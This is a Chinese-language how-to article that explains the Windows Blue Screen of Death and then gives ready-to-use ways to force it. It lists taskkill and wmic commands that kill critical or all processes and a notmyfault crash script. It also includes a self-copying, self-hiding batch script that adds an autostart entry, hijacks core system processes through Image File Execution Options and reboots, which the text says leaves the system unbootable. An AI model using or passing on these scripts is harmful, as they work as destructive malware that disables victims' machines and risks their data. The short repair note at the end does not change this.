电脑蓝屏,又叫蓝屏死机(Blue Screen of Death
,简称 BSOD
),是微软的 Windows
系列操作系统在无法从一个系统错误中恢复过来时,为保护电脑数据文件不被破坏而强制显示的屏幕图像。
Windows
操作系统的蓝屏死机提示已经成为标志性的画面。大部分是系统崩溃的现象。
Windows
中有两个蓝底白字图像都被称为蓝屏死机:一种是 Windows 9x
操作系统发生小故障,一种是 Windows NT
发生内核错误。由于 Windows 9x
已退出历史舞台,所以现在一般指后者。
蓝屏的方法
如果你想要制作一个可以导致蓝屏的程序,不妨试试以下几种办法。这些办法有的不会对系统造成伤害,有的则可能导致系统无法开机。建议您在备份好数据的情况下再继续作死。
文章中所提的内容仅供学术交流和参考,请勿用于非法用途或欺骗他人。不当使用导致的不良后果与原作者无关。
另外,本文中的命令行都是通过Bat_To_Exe_Converter
转化为.exe
可执行程序的,所以自启动等项目可能会失效。
结束系统关键进程(CRITICAL PROCESS DIED
)
对系统无害,在 Windows XP
以上才有用(XP
会关机)。
可以直接结束关键的 Windows NT
进程,例如 wininit.exe
、smss.exe
、csrss.exe
等;也可以直接结束全部进程。
以下命令,任选其一都可以导致蓝屏。
taskkill /im wininit.exe /f
taskkill /im svchost.exe /f
taskkill /fi "pid ne 1" /f
cmd /c for /f %I in ('wmic process get Name')do (wmic process where Name="%I" delete)
对于 Windows 10
及以上,也可以使用 PowerShell
直接访问 wininit.exe
,造成电脑蓝屏!
具体地,打开 PowerShell
后直接输入 wininit
即可。
使用 notmyfault
(驱动文件 notmyfault.sys
)
对 Windows XP
以上才有用,Windows XP x64
有可能可以。
需要用到第三方软件,来源于 Microsoft Sysinternals Suite
中的 notmyfault
系列。
我们只用到 notmyfaultc
和 notmyfaultc64
,这是命令行版本的;其他那两个是 GUI
版。
具体的命令:
@echo off
if %PROCESSOR_ARCHITECTURE%==AMD64 (
notmyfaultc64.exe /accepteula
notmyfaultc64.exe /crash 0x03
) else (
notmyfaultc.exe /accepteula
notmyfaultc.exe /crash 0x03
)
首先要确定系统的位数,再调用蓝屏。
第 行和第 行可以改变,是根据想要的蓝屏类型确定的;也可以挂起进程。
使用说明如下:
NotMyFault is a tool used in the Windows Internals books to show how common device driver bugs affect a system.
This is the console version of NotMyFault.
Usage:
notmyfaultc.exe [/wait] /crash crash_type_num
crash type:
0x01: High IRQL fault (Kernel-mode)
0x02: Buffer overflow
0x03: Code overwrite
0x04: Stack trash
0x05: High IRQL fault (User-mode)
0x06: Stack overflow
0x07: Hardcoded breakpoint
0x08: Double Free
wait:
wait until named event NOTMYFAULT is set
Or notmyfaultc.exe /hang hang_type_num
hang type:
0x01: Hang with IRP
0x02: Hang with DPC
0x03: Deadlock
Or notmyfaultc.exe /leak leak_type_num [/rate KB/s] [/duration seconds]
leak type:
0x01: Paged Leak
0x02: Nonpaged Leak
rate:
default value is 1000 KB/s
append 'm' for megabytes, 'g' for gigabytes or 't' for terabytes duration:
default value is 30s
Or notmyfaultc.exe bugcheck id
Or notmyfaultc.exe /getdumptype
notmyfaultc.exe setdumptype [full|kernel]
删除或劫持内核关键程序(0xc000021a
)
前面两种方法,重启后即可恢复(除非设置了自启动),那么下面就介绍两种较难修复的。
删除关键程序,需要到 PE
中去提取或恢复。因为是系统文件,所以一般的用户无法修改,提权过程也相对复杂,推荐使用 NSudo
工具,命令行版可以轻松删除系统文件。
关于劫持,可以在注册表中进行调整,通过命令行的方式写入注册表(附赠一只自启动):
@echo off
copy %0 v.exe
attrib +s +h /s /d v.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Run" /f /v "vvvvv" /t REG_SZ /d "%cd%\v.exe"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininit.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /f /v debugger /t REG_SZ /d "\\"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe" /f /v debugger /t REG_SZ /d "\\"
shutdown /r /t 0
不同于一般的自启动,由于内核关键进程在进入桌面之前就已经启动,所以在锁屏页面前就会蓝屏;安全模式同样。在 Windows XP
中表现为黑屏,只有鼠标可以移动。
修复方法,就是进入 PE
系统删除映像劫持项目和自启动项目,删除释放的文件等。
假蓝屏
网上各种各样的批处理假蓝屏烂大街了,有一个真实一点的工具叫 BluescreenSimulator
,可以通过命令行调用。
因为有点儿跑题,这里不再赘述。